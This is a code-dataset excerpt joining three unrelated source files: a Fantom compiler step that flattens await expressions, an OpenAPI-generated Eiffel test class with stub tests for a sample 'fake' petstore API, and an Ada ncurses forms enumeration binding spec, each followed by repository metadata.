private Expr toTempVar(Expr expr) {
if (expr.id === ExprId.localVar) return expr
var_v := curMethod.addLocalVar(expr.ctype, null, null)
lvar := LocalVarExpr(expr.loc, var_v)
assign := BinaryExpr.makeAssign(lvar, expr)
addStmt(assign.toStmt)
return lvar
}
private Void processExpr(Stmt stmt) {
hasYield := false
hasBool := false
count := 0
stmt.walk(ExprVisitor(|Expr t->Expr| {
if (t.id === ExprId.awaitExpr) {
hasYield = true
}
else if (t.id === ExprId.boolOr || t.id === ExprId.boolAnd || t.id === ExprId.ternary || t.id === ExprId.elvis) {
hasBool = true
}
++count
return t
}), VisitDepth.expr)
if (hasYield) {
if (hasBool) throw err("unsupport await int expr")
stmt.walk(ExprVisitor.make|Expr e->Expr| {
//localDef init
//echo("$e => $e.id")
if (e.id === ExprId.assign ||
e.id === ExprId.staticTarget ||
e.id === ExprId.field) return e
return toTempVar(e)
}, VisitDepth.expr)
//echo("stmt: $stmt => $stmt.id")
//already become a local var
if (stmt.id != StmtId.expr) {
addStmt(stmt)
}
else if (stmt is ExprStmt) {
expr := ((ExprStmt)stmt).expr
//echo("expr: $expr")
if (expr.id === ExprId.assign) {
addStmt(stmt)
}
}
else {
//discard the stmt result value
}
}
else {
addStmt(stmt)
}
}
} | Fantom | 3 | fanx-dev/fanx | compiler/compiler/fan/steps/ExprFlat.fan | [
"AFL-3.0"
] |
note
description: "API tests for FAKE_API"
date: "$Date$"
revision: "$Revision$"
class FAKE_API_TEST
inherit
EQA_TEST_SET
feature -- Test routines
test_create_xml_item
-- creates an XmlItem
--
-- this route creates an XmlItem
local
l_xml_item: XML_ITEM
do
-- TODO: Initialize required params.
-- l_xml_item
-- api.create_xml_item(l_xml_item)
assert ("not_implemented", False)
end
test_fake_outer_boolean_serialize
--
--
-- Test serialization of outer boolean types
local
l_response: BOOLEAN
l_body: BOOLEAN
do
-- TODO: Initialize required params.
-- l_response := api.fake_outer_boolean_serialize(l_body)
assert ("not_implemented", False)
end
test_fake_outer_composite_serialize
--
--
-- Test serialization of object with outer number type
local
l_response: OUTER_COMPOSITE
l_body: OUTER_COMPOSITE
do
-- TODO: Initialize required params.
-- l_response := api.fake_outer_composite_serialize(l_body)
assert ("not_implemented", False)
end
test_fake_outer_number_serialize
--
--
-- Test serialization of outer number types
local
l_response: REAL_32
l_body: REAL_32
do
-- TODO: Initialize required params.
-- l_response := api.fake_outer_number_serialize(l_body)
assert ("not_implemented", False)
end
test_fake_outer_string_serialize
--
--
-- Test serialization of outer string types
local
l_response: STRING_32
l_body: STRING_32
do
-- TODO: Initialize required params.
-- l_response := api.fake_outer_string_serialize(l_body)
assert ("not_implemented", False)
end
test_test_body_with_file_schema
--
--
-- For this test, the body for this request much reference a schema named `File`.
local
l_body: FILE_SCHEMA_TEST_CLASS
do
-- TODO: Initialize required params.
-- l_body
-- api.test_body_with_file_schema(l_body)
assert ("not_implemented", False)
end
test_test_body_with_query_params
--
--
--
local
l_query: STRING_32
l_body: USER
do
-- TODO: Initialize required params.
-- l_query
-- l_body
-- api.test_body_with_query_params(l_query, l_body)
assert ("not_implemented", False)
end
test_test_client_model
-- To test \"client\" model
--
-- To test \"client\" model
local
l_response: CLIENT
l_body: CLIENT
do
-- TODO: Initialize required params.
-- l_body
-- l_response := api.test_client_model(l_body)
assert ("not_implemented", False)
end
test_test_endpoint_parameters
-- Fake endpoint for testing various parameters 假端點 偽のエンドポイント 가짜 엔드 포인트
--
-- Fake endpoint for testing various parameters 假端點 偽のエンドポイント 가짜 엔드 포인트
local
l_number: REAL_32
l_double: REAL_64
l_pattern_without_delimiter: STRING_32
l_byte: ARRAY [NATURAL_8]
l_integer: INTEGER_32
l_int32: INTEGER_32
l_int64: INTEGER_64
l_float: REAL_32
l_string: STRING_32
l_binary: FILE
l_date: DATE
l_date_time: DATE_TIME
l_password: STRING
l_callback: STRING_32
do
-- TODO: Initialize required params.
-- l_number
-- l_double
-- l_pattern_without_delimiter
-- l_byte
-- api.test_endpoint_parameters(l_number, l_double, l_pattern_without_delimiter, l_byte, l_integer, l_int32, l_int64, l_float, l_string, l_binary, l_date, l_date_time, l_password, l_callback)
assert ("not_implemented", False)
end
test_test_enum_parameters
-- To test enum parameters
--
-- To test enum parameters
local
l_enum_header_string_array: LIST [STRING_32]
l_enum_header_string: STRING_32
l_enum_query_string_array: LIST [STRING_32]
l_enum_query_string: STRING_32
l_enum_query_integer: INTEGER_32
l_enum_query_double: REAL_64
l_enum_form_string_array: LIST [STRING_32]
l_enum_form_string: STRING_32
do
-- TODO: Initialize required params.
-- api.test_enum_parameters(l_enum_header_string_array, l_enum_header_string, l_enum_query_string_array, l_enum_query_string, l_enum_query_integer, l_enum_query_double, l_enum_form_string_array, l_enum_form_string)
assert ("not_implemented", False)
end
test_test_group_parameters
-- Fake endpoint to test group parameters (optional)
--
-- Fake endpoint to test group parameters (optional)
local
l_required_string_group: INTEGER_32
l_required_boolean_group: BOOLEAN
l_required_int64_group: INTEGER_64
l_string_group: INTEGER_32
l_boolean_group: BOOLEAN
l_int64_group: INTEGER_64
do
-- TODO: Initialize required params.
-- l_required_string_group
-- l_required_boolean_group
-- l_required_int64_group
-- api.test_group_parameters(l_required_string_group, l_required_boolean_group, l_required_int64_group, l_string_group, l_boolean_group, l_int64_group)
assert ("not_implemented", False)
end
test_test_inline_additional_properties
-- test inline additionalProperties
--
--
local
l_param: STRING_TABLE [STRING_32]
do
-- TODO: Initialize required params.
-- api.test_inline_additional_properties(l_param)
assert ("not_implemented", False)
end
test_test_json_form_data
-- test json serialization of form data
--
--
local
l_param: STRING_32
l_param2: STRING_32
do
-- TODO: Initialize required params.
-- l_param
-- l_param2
-- api.test_json_form_data(l_param, l_param2)
assert ("not_implemented", False)
end
test_test_query_parameter_collection_format
--
--
-- To test the collection format in query parameters
local
l_pipe: LIST [STRING_32]
l_ioutil: LIST [STRING_32]
l_http: LIST [STRING_32]
l_url: LIST [STRING_32]
l_context: LIST [STRING_32]
do
-- TODO: Initialize required params.
-- create {ARRAYED_LIST [STRING_32]} l_pipe.make (2)
-- create {ARRAYED_LIST [STRING_32]} l_ioutil.make (2)
-- create {ARRAYED_LIST [STRING_32]} l_http.make (2)
-- create {ARRAYED_LIST [STRING_32]} l_url.make (2)
-- create {ARRAYED_LIST [STRING_32]} l_context.make (2)
-- api.test_query_parameter_collection_format(l_pipe, l_ioutil, l_http, l_url, l_context)
assert ("not_implemented", False)
end
feature {NONE} -- Implementation
api: FAKE_API
-- Create an object instance of `FAKE_API'.
once
create { FAKE_API } Result
end
end
| Eiffel | 4 | JigarJoshi/openapi-generator | samples/client/petstore/eiffel/test/apis/fake_api_test.e | [
"Apache-2.0"
] |
------------------------------------------------------------------------------
-- --
-- GNAT ncurses Binding --
-- --
-- Terminal_Interface.Curses.Forms.Field_Types.Enumeration --
-- --
-- S P E C --
-- --
------------------------------------------------------------------------------
-- Copyright (c) 1998-2003,2009 Free Software Foundation, Inc. --
-- --
-- Permission is hereby granted, free of charge, to any person obtaining a --
-- copy of this software and associated documentation files (the --
-- "Software"), to deal in the Software without restriction, including --
-- without limitation the rights to use, copy, modify, merge, publish, --
-- distribute, distribute with modifications, sublicense, and/or sell --
-- copies of the Software, and to permit persons to whom the Software is --
-- furnished to do so, subject to the following conditions: --
-- --
-- The above copyright notice and this permission notice shall be included --
-- in all copies or substantial portions of the Software. --
-- --
-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS --
-- OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF --
-- MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. --
-- IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, --
-- DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR --
-- OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR --
-- THE USE OR OTHER DEALINGS IN THE SOFTWARE. --
-- --
-- Except as contained in this notice, the name(s) of the above copyright --
-- holders shall not be used in advertising or otherwise to promote the --
-- sale, use or other dealings in this Software without prior written --
-- authorization. --
------------------------------------------------------------------------------
-- Author: Juergen Pfeifer, 1996
-- Version Control:
-- $Revision: 1.12 $
-- Binding Version 01.00
------------------------------------------------------------------------------
with Interfaces.C.Strings;
package Terminal_Interface.Curses.Forms.Field_Types.Enumeration is
pragma Preelaborate
(Terminal_Interface.Curses.Forms.Field_Types.Enumeration);
type String_Access is access String;
-- Type_Set is used by the child package Ada
type Type_Set is (Lower_Case, Upper_Case, Mixed_Case);
type Enum_Array is array (Positive range <>)
of String_Access;
type Enumeration_Info (C : Positive) is
record
Names : Enum_Array (1 .. C);
Case_Sensitive : Boolean := False;
Match_Must_Be_Unique : Boolean := False;
end record;
type Enumeration_Field is new Field_Type with private;
function Create (Info : Enumeration_Info;
Auto_Release_Names : Boolean := False)
return Enumeration_Field;
-- Make an fieldtype from the info. Enumerations are special, because
-- they normally don't copy the enum values into a private store, so
-- we have to care for the lifetime of the info we provide.
-- The Auto_Release_Names flag may be used to automatically releases
-- the strings in the Names array of the Enumeration_Info.
function Make_Enumeration_Type (Info : Enumeration_Info;
Auto_Release_Names : Boolean := False)
return Enumeration_Field renames Create;
procedure Release (Enum : in out Enumeration_Field);
-- But we may want to release the field to release the memory allocated
-- by it internally. After that the Enumeration field is no longer usable.
-- The next type defintions are all ncurses extensions. They are typically
-- not available in other curses implementations.
procedure Set_Field_Type (Fld : Field;
Typ : Enumeration_Field);
pragma Inline (Set_Field_Type);
private
type CPA_Access is access Interfaces.C.Strings.chars_ptr_array;
type Enumeration_Field is new Field_Type with
record
Case_Sensitive : Boolean := False;
Match_Must_Be_Unique : Boolean := False;
Arr : CPA_Access := null;
end record;
end Terminal_Interface.Curses.Forms.Field_Types.Enumeration;
| Ada | 5 | CandyROM/external_libncurses | Ada95/src/terminal_interface-curses-forms-field_types-enumeration.ads | [
"X11"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.